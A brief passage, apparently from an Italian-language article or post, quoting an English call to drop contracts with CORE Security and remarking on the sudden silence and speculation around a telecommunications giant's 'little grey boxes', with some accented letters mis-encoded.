need more time.If anyone has any contracts with CORE Security I suggest you 
drop them at the earliest opportunity.
Io non so chi abbia ragione, una cosa perň č certa, il silenzio che č calato 
di colpo sulla faccenda e le parole degli esperti autorizzano alle fantasie 
piů sfrenate sul colosso delle telecomunicazioni e sui milioni di 
"scatolette grigie" in giro per il mondo. I fatti poi diranno la loro.